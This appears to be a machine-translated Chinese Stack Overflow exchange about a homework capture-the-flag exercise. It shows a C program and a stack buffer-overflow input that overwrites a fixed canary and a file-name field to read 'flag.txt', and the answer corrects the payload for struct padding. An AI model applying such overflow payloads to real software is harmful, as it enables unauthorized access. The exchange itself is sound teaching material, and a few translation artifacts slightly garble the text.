我试图利用这个简单的程序来完成家庭作业:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUFSIZE 1024
typedef struct {
char flag_content[BUFSIZE];
char guess[47];
unsigned canary;
char flag_file[BUFSIZE];
} st_t;
int main(){
FILE *f = NULL;
st_t st = {
.flag_file = "fake_flag",
.canary = 0x4249b876
};
printf("Guess the flag!\n");
scanf("%s", st.guess);
f = fopen(st.flag_file, "rb");
if (f == NULL){
printf("flag error\n");
exit(-1);
}
if (fread(st.flag_content, BUFSIZE, 1, f) < 0){
printf("flag error\n");
exit(-1);
}
if (st.canary != 0x4249b876) {
printf("canary error\n");
exit(-1);
}
if (!strcmp(st.guess, st.flag_content)){
printf("You guessed it right!\n");
} else {
printf("Sorry but the flag is \"%s\"\n", st.flag_content);
}
exit(1);
}
目的是修改st.flag_file
插入"flag.txt"
而不是"fake_flag.txt"
来阅读其内容。
很容易发现缓冲区溢出,但也有一个金丝雀,所以我将此漏洞编写为scanf
的输入:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt
我在网上发现十六进制0x4249b876
已翻译为v¸IB
但是当我从终端运行代码时,这就是输出
./mission1
Guess the flag!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt
canary error
并使用gdb进行检查我发现变量st.flag_file = "flag.txt"
是正确的,但变量st.canary = 0x4249b8c2
我无法理解。为什么呢?
答案 0 :(得分:1)
您遇到的问题来自struct
的对齐要求。特别是,在guess
和canary
之间,存在编译器正在插入的额外填充。尝试转储整个结构和/或成员的地址,你会看到填充。
最终结果是,您需要超过47个字节(A
)才能到达canary
,通常还需要一个。{1}}。因此,而不是,例如:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag
您将需要:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag
请注意,逃离金丝雀的角色可能是一个好主意(为了避免编码等问题)并使其更具可读性(与实际的金丝雀进行比较)。
偏离主题 请注意:
fread(st.flag_content, BUFSIZE, 1, f) < 0
始终为false,因为fread
会返回size_t
(无符号)。